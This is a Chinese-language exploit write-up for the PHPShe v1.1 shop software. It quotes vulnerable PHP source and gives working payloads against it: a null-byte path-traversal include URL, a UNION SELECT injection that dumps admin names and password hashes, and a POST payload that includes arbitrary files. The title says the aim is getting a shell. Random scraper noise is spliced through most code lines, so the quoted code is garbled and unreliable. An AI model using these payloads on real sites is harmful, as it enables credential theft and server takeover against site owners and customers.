phpshe v1.1多处SQL注入和文件包含漏洞Getshell

admin

/*******************************************************/
1 x% s% Q' x3 q. a0 j: ?7 Y/* Phpshe v1.1 Vulnerability
/* ========================
& Y6 E- n! x3 z( f: p/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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//common.php
  {$ `8 {4 k7 _8 t; eif (get_magic_quotes_gpc()) {
  r" i- [$ b* V$ r) x- B!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
9 \2 z% q: d2 z}
- \# a5 B0 H0 |# a( helse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
- h: z; A7 L* M!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 A4 s  [. o: `6 i% P! u!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
+ p+ _$ C0 C$ r5 g8 G- Y
0×01 包含漏洞
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0 G4 @) z! X. r. `* Y5 |//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
1 t1 {) H) d0 F) G) d& n: [pe_result();
?>
//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
# s+ g( e8 P# Z$ i//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
! `0 n- [3 E+ ?8 ]

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) f7 F1 _+ [2 {! r& R( g 0×02 搜索注入

<code id="code2">

//product.php文件
' K( |3 x& B5 p" ~2 L, ycase 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
3 V8 G+ P- t" H; W//搜索
$sqlwhere = " and `product_state` = 1";
' g( A$ N. t' Z: cpe_lead('hook/category.hook.php');
if ($category_id) {
) f2 r4 e; E0 b9 A% L! I& Awhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
/ o' u3 A2 t/ h, B% c% B8 [$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
' `( L: Y& N; cif ($_g_orderby) {
( z9 m  k, X* [- k$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
8 G. p0 z! [' G* f$ A  j* Q, Y3 k  T' l8 V4 l}
/ ]$ W1 d) [* B/ felse {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
  }3 C  y+ J8 H5 s7 }# [//热卖排行
$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
  L$ b, I2 w* L3 u//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
) {4 R) [5 X& @7 h: i# D) F//处理条件语句
2 ], w9 @9 t/ s- z$sqlwhere = $this->_dowhere($where);
0 B; Q' V: x' v% \. w/ hreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

2 P% \. ?# R) A8 W$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

0 `! |2 X: Q9 @; rif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

: x1 J2 L3 |4 Z2 \}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

) x: s" v0 ]* c* B" l!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

) A& q$ f% F, cif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

% l, n6 ^$ L7 U  f/ I' C$ e& g$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

  J5 D5 N& i# P3 l# P. b6 c( iinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

) ?& C; ], d7 v) J* V# L% D' Ielse {

- ^/ p' U( L2 X$ `" O. U) r6 rpe_error('支付错误...');

) W) a" I' I, S9 n) M$ L' H" e) Q1 p6 L}

}

$seo = pe_seo('选择支付方式');

. X  g7 ?( B1 L3 binclude(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
5 {. o& D( b+ O  }8 \  \http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg